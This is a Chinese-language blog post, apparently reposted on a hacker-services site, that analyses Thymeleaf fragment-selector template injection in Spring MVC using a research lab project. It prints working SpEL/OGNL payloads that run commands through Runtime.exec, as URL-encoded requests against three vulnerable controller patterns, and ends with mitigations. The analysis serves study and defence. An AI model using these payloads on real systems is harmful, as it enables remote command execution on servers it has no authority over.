当前位置:首页 > 黑客服务 > 正文内容

Thymeleaf模板注入导致命令执行漏洞分析

访客4年前 (2021-04-13)黑客服务951

本文配合:https://github.com/veracode-research/spring-view-manipulation/食用更佳。

背景:

Thymeleaf 是与 java 配合使用的一款服务端模板引擎,也是 spring 官方支持的一款服务端模板引擎。他支持 HTML 原型,在 HTML 标签中增加额外的属性来达到模板 + 数据的展示方式。默认前缀:/templates/ ,默认后缀:.html 。

首先我们来熟悉一下这个漏洞发生的一些前期知识:

一、 spring mvc 及 thymeleaf 基础

下载 github 中的项目,在 idea 中导入。(导入时选择 pom.xml 并以 project 的形式进行导入,这样他会自己去下载他的依赖,也就是 jar 包,配置 maven 这些如果有需要的话会单独写一篇文章。)
要等他下载 jar 包完成,所以稍等一会。之后,我们来到 HelloController.java 文件。 @GetMapping("/") public String index(Model model) { model.addAttribute("message", "happy birthday"); return "welcome"; }
这个方法名上加了 @GetMapping("/") 的注解,表示请求方法为 get 的 url 为 / 的请求会进到这个方法体里面进行处理。
在这个方法里面,给 model 传入了一个参数,key 为 message ,value 为 happy birthday ,这个 model 会和我们要返回的视图名一起传回前端。
这里的 return "welcome" 返回的是视图名,thymeleaf 会默认加上前缀 /templates 及后缀 .html ,即最终返回的视图名就是 /templates/welcome.html ,带上我们的数据 model 。 <!DOCTYPE HTML> <html xmlns:th="http://www.thymeleaf.org"> <div th:fragment="header"> <h3>Spring Boot Web Thymeleaf Example</h3> </div> <div th:fragment="main"> <span th:text="'Hello, ' + ${message}"></span> </div> </html>
这里首先将 html 的名称空间设置为 thymeleaf ,接下来 html 文档中就可以使用 thymeleaf 中的指令了。比如接下来的 div 标签中就有 th:fragment 、th:text 这种形式,这种就是 thymeleaf 中的指令。
在倒数第三行中, ${message} 表示从 model 中取对应 key 的值,而 ${…} 这里面是 ognl/SpringEL 表达式,比如 ${7*7} 会执行里面运算,得到 49 ,同样延申一下 ognl 表达式:${#rt=@java.lang.Runtime@getRuntime(),#rt.exec("calc")} ,SpringEL 表达式:${T(java.lang.Runtime).getRuntime().exec('calc')} 。${} 内部的通过 OGNL 表达式引擎解析的,外部的通过 thymeleaf 模板引擎解析 。

漏洞出现在 thymeleaf 的片段选择器中,关于片段选择器是什么,通过一个小例子就会知道。

二、 片段选择器,templatename::selector

@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
这里接收一个 section 的参数,这个参数来决定我们页面显示哪一个部分。
这里没有上个的 Spring Boot Web Thymeleaf example 字样了。将 section 换为 header ,就没有 Hello, ${message} 字样了。
3、 漏洞详情,thymeleaf 在解析包含 :: 的模板名时,会将其作为表达式去进行执行。
官方文档中也有提到。
github 的文章给的 payload :__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
这其中除了 __ 下划线暂时不理解之外,其他的应该都能清楚了。后面的 .x 是不需要也可以的,或者也可以换成其他的字符。
__${…}__ 是 thymeleaf 中的预处理表达式,也就是会对双下划线包起来的表达式进行预处理。比如:#{selection.__${sel.code}__} ,这里的话 thymeleaf 会先对 ${sel.code} 进行解析,若解析的结果为 ALL ,那么再将其结果作为常规表达式的一部分,也即是 #{selection.ALL}
所以,结合我们的 payload ,因为 payload 中包含了 :: ,也就是会将 templatename 以及 selector 作为表达式去进行执行,在这里给的 payload 中,表达式在模板名的位置: __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()} 执行 id 这条命令,因为他会进行一个预处理那么无论他前面和后面有什么都会先去处理这个表达式,也就都会去执行里面的命令。

四、 实操

4.1 首先看一下

@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }

这时将 lang 参数作为模块名解析的一部分。payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::

执行命令并回显。

4.2 再看一下:

@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }

这时是将 section 放在 selector 的位置。同样是上面的 payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::

这时没有回显,状态也是 200 ,调试之后发现,前面模板名找不到会抛出一个异常,而这里是将我们的 section 放到 welcome :: 后面,而这时是找到的模板名,找不到 selector ,这时他不会抛出异常,只是没有内容显示了,但是命令还是会执行。

也就是说,如果将 payload 改成 /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__:: 是能弹出计算器的。
测试发现,payload :/fragment/?section=$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d 在这里也是可以执行的,因为 thymeleaf 会将 templatename 、selector 分别作为表达式执行。而这个漏洞环境中,welcome :: 后面直接加的 section ,而 section 后面也没有其他的字符影响,所以不用 __${…}__ 符号也可以。
4.3 还有一种魔幻操作, @GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
这时返回值为空,并没有返回视图名,此时的视图名会从 URI 中获取,具体实现的代码在 DefaultRequestToViewNameTranslator 中的 getViewName 方法: public String getViewName(HttpServletRequest request) { String lookupPath=this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH); return (this.prefix + transformPath(lookupPath) + this.suffix); }
故此时在 uri 中的参数添加 payload 即可。
这里的 payload 必须包裹在 __...__ 之中,且后面加上 :: ,及 .string 。至于为什么我也没弄明白。

五、防御

5.1. 方法上配置 @ResponseBody 或者 @RestController
这样 spring 框架就不会将其解析为视图名,而是直接返回。不配置的话 SpringMVC 会将业务方法的返回值传递给 DispatcherServlet ,再由DispatcherServlet 调用 ViewResolver 对返回值进行解析,映射到一个 view 资源。
@RestController 表示该控制器会直接将业务方法的返回值响应给客户端,不进行视图解析。它内部继承了 @ResponseBody 。
5.2. 在返回值前面加上 "redirect:"
这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
5.3. 在方法参数中加上 HttpServletResponse 参数
这样 spring 会认为已经处理了 response ,无须再去进行视图名的解析。在 ServletResponseMethodArgumentResolver 类中检查了此参数。

文章来源:Medi0cr1ty,作者:medi0cr1ty

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106297.html

分享给朋友:

“Thymeleaf模板注入导致命令执行漏洞分析” 的相关文章

约茶app约茶APP

最新约茶app都是哪些?整理了30本这篇文章主要介绍了约茶app,包括约茶app ios下载,下面小编整理了约茶app的图文教程,看看约茶app苹果版详细步骤吧! 觉得网上的一些答 据新快网2021年10月20日03:31:27的新闻报道,微博网友@R卜傲晴 爆料。 平安夜来临之际,事件,在网上...

贾秀东个人资料简介(简历及图片)

贾秀东人物概况 本页面提供了贾秀东个人资料简介(简历及图片),贾秀东是谁?贾秀东个人简介资料完整设计了网页求职找工作编辑个人简历作品所需要的贾秀东网站常用模板元素,不保证贾秀东人物数据真实,任何问题请联系管理员调整。 贾秀东图片 贾秀东个人资料简介 贾秀东,中国国际问题研究所特聘研究员。1...

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另 鸡鸭的肛门附近组织,布满大大小小的腺体,各类秽物与毒素都在这些腺体囤积;鸡鸭的肛门也有非常高密度的大肠杆菌,所以鸡鸭的屁股不是少吃的问题,而是不能吃.吃得少可能没觉出怎样,多了问题就显出来了.而且鸡鸭屁股的大肠杆菌会随着蛋生出来的时...

身份证信息被黑客盗取(黑客能把手机内身份证信息盗取吗)

一、身份证信息被黑客盗取(黑客能把手机内身份证信息盗取吗)方法总结 1、黑客通过手身份姓名能否窃取别人银行卡里。朋友你好,这个问题不是这样理解的的,黑客是通过你的这些信息,破易你的银行卡号支付密码来盗取你的财物的,一般你只要不乱点链接,不轻易在手机。黑客控制了手机,窃取了身份证号码手机号姓名等所有...

dnf国庆套礼包内容 「地下城国庆套2021」

很好,198元类型,比其他的高级时装属性好很多,称号加什么?还副送什么?礼包包含多少套物品?知道的说下!30号维护更新,奇幻之旅称号,非常划算。宝珠,价格是228和198两种时装套。 效果和白虎差不多,包括光环装扮,来说还可以。 100雷米,估计还几套新国庆时装,DNF2012国庆时装198礼包,最...

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好 铁盖子可以放入高压锅蒸吗? 装酱料的铁盖子,外面的涂层有些剥落,好象也没锈,可以拿它盖严瓶子入高压锅蒸吗? 绝对不行!既危险又不卫生。盖住的瓶子在高压锅中加热,很容易形成压力差而爆炸;铁在高压锅中的水蒸汽作用下极易变成四氧化三...

评论列表

鸢旧雨铃
2年前 (2022-06-19)

再由DispatcherServlet 调用 ViewResolver 对返回值进行解析,映射到一个 view 资源。@RestController 表示该控制器会直接将业务方法的返回值响应给客户端,不进行视图解析。它内部继承了 @ResponseBody 。5.2.

弦久顾执
2年前 (2022-06-19)

本文配合:https://github.com/veracode-research/spring-view-manipulation/食用更佳。背景:Thymeleaf 是与 java 配合使用的一款服务端模板引擎,也是 sprin

痴者鸽屿
2年前 (2022-06-19)

lection.__${sel.code}__} ,这里的话 thymeleaf 会先对 ${sel.code} 进行解析,若解析的结果为 ALL ,那么再将其结果作为常规表达式的一部分,也即是 #{sele

忿咬笙痞
2年前 (2022-06-19)

from URI}这时返回值为空,并没有返回视图名,此时的视图名会从 URI 中获取,具体实现的代码在 DefaultRequestToViewNameTranslator 中的 getViewName 方法:public St

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。